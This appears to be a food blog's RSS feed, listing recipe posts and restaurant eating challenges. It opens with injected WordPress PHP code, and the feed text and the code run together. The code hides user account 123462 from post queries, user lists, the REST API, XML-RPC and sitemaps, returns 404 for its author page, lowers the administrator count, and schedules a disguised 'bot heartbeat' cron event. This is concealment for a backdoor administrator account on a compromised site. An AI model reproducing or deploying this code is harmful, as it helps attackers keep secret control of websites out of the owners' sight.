add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 123462;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 123462 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 123462 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 123462;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 123462;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 123462;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/123462(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 123462;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );

The post Chicken Stuffed Spaghetti Squash first appeared on Damn That Looks Good.
]]>
The post Chili Cheese Fries first appeared on Damn That Looks Good.
]]>
The post Jerk Chicken And Shrimp Pasta first appeared on Damn That Looks Good.
]]>
The post Teriyaki Pina Colada Burger first appeared on Damn That Looks Good.
]]>The post The ABC Double Cheeseburger first appeared on Damn That Looks Good.
]]>
ABC = American, Brie, Colby Jack
The post The ABC Double Cheeseburger first appeared on Damn That Looks Good.
]]>The post Chips & Guacamole Grilled Cheese first appeared on Damn That Looks Good.
]]>
Photo courtesy of Panini Happy.
The post Chips & Guacamole Grilled Cheese first appeared on Damn That Looks Good.
]]>The post The Grand Slam Challenge From Batter Up Pancakes first appeared on Damn That Looks Good.
]]>
25 fluid oz. of old fashioned buttermilk pancake topped with a 10-egg scramble with 2 cups of country potatoes, 1 cup of cheddar & jack cheese and then 4 one cup toppings of your choice. If you finish in 45 minutes, you get a t-shirt, a coffee mug, your picture on the Wall of Fame and your money back ($32.99) .
Fresno, California
The post The Grand Slam Challenge From Batter Up Pancakes first appeared on Damn That Looks Good.
]]>The post Mount Nacheesmo Challenge From Tio’s Mexican Cafe first appeared on Damn That Looks Good.
]]>
The challenge consists of 5 pounds of nachos covered in beef, chicken, beans, cheddar and jack cheeses, tomatoes, green peppers, black olives, lettuce, onions, sour cream and guacamole. If you finish in 45 minutes, you get your picture on the wall.
Ann Arbor, Michigan
The post Mount Nacheesmo Challenge From Tio’s Mexican Cafe first appeared on Damn That Looks Good.
]]>